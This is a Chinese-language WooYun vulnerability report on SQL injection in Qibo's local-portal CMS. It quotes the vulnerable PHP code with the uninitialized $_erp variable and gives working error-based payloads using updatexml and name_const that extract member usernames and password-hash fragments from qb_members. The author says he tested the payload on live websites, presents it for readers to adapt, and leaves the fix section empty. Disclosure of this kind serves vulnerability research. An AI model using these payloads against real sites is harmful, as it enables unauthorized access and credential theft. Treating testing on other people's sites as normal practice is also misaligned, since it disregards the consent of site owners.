当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-087510

漏洞标题:齐博地方门户系统sql注入

相关厂商:齐博CMS

漏洞作者: Power

提交时间:2014-12-18 14:43

修复时间:2015-04-02 10:23

公开时间:2015-04-02 10:23

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-18: 细节已通知厂商并且等待厂商处理中
2014-12-23: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-02-16: 细节向核心白帽子及相关领域专家公开
2015-02-26: 细节向普通白帽子公开
2015-03-08: 细节向实习白帽子公开
2015-04-02: 细节向公众公开

简要描述:

变量未初始化导致注入

详细说明:

齐博地方门户系统
齐博的全局过滤系统中由于存在如下代码,导致传入的参数可以成为全局变量

foreach($_COOKIE AS $_key=>$_value){
unset($$_key);
}
foreach($_POST AS $_key=>$_value){
!ereg("^\_[A-Z]+",$_key) && $$_key=$_POST[$_key];
}
foreach($_GET AS $_key=>$_value){
!ereg("^\_[A-Z]+",$_key) && $$_key=$_GET[$_key];
}


所以系统中如果存在未初始化的变量,容易导致注入
2shou/post.php中
180行

$postdb['list']=$timestamp;
if($iftop){ //推荐置顶
@extract($db->get_one("SELECT COUNT(*) AS NUM FROM `{$_pre}content$_erp` WHERE list>'$timestamp' AND fid='$fid' AND city_id='$postdb[city_id]'")); //此处_erp未初始化
if($webdb[Info_TopNum]&&$NUM>=$webdb[Info_TopNum]){
showerr("当前栏目置顶信息已达到上限!");
}
$postdb['list']+=3600*24*$webdb[Info_TopDay];
if($lfjdb[money]<$webdb[Info_TopMoney]){
showerr("你的积分不足:$webdb[Info_TopMoney],不能选择置顶");
}
$lfjdb[money]=$lfjdb[money]-$webdb[Info_TopMoney]; //为下面焦点信息做判断积分是否足够
}


这个地方还有点问题,我本地测试用常规的报错语句没问题,如下

and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)


但是网上测试时,总是提示Incorrect arguments to NAME_CONST,好像是版本过低。
网上没有找到解决方案,最后根据这个语句自己构造了一个,好象是没有版本限制噢。这个语句在这个地方不能够自由控制报错的表,所以自我感觉没啥大用处,限制条件还是12个字符

SELECT 1 FROM dede_admin WHERE updatexml(1,(SELECT CONCAT(0x5b,uname,0x3a
,MID(pwd,4,16),0x5d) FROM dede_admin),1);


构造如下

where (SELECT 1 FROM qb_members WHERE updatexml(1,(SELECT CONCAT(0x5b,username,0x3a,MID(password,4,16),0x5d) FROM qb_members limit 0,1),1))


用的时候自己修改就ok 了,不知道网上有没有。
这个地方有个积分计算,其实不用担心,因为在计算积分之前,程序已经注入完成。
由于这个地方提交表单时是 multipart/form-data 方式,起初一直想着怎么post 过去_erp这个参数,后来才发现根本就不需要post 直接get 就ok 了,也省去了去处理 multipart/form-data 方式提交数据构造。

漏洞证明:

首先注册会员,然后发布消息。

zz.JPG


选择置顶消息(此处是让程序进入if($iftop)中,其实改下提交iftop这个参数就ok.)
截断构造数据,用/**/替换空格,mysql版本低的时候可以用这个

cc.JPG


出数据
mysql版本高的时候用这个。

jj.JPG


出数据如下

zz.JPG


找几个网上的案例如下。

1.JPG


2JPG.JPG

修复方案:

...

版权声明:转载请注明来源 Power@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-04-02 10:23

厂商回复:

最新状态:

暂无


漏洞评价:

评论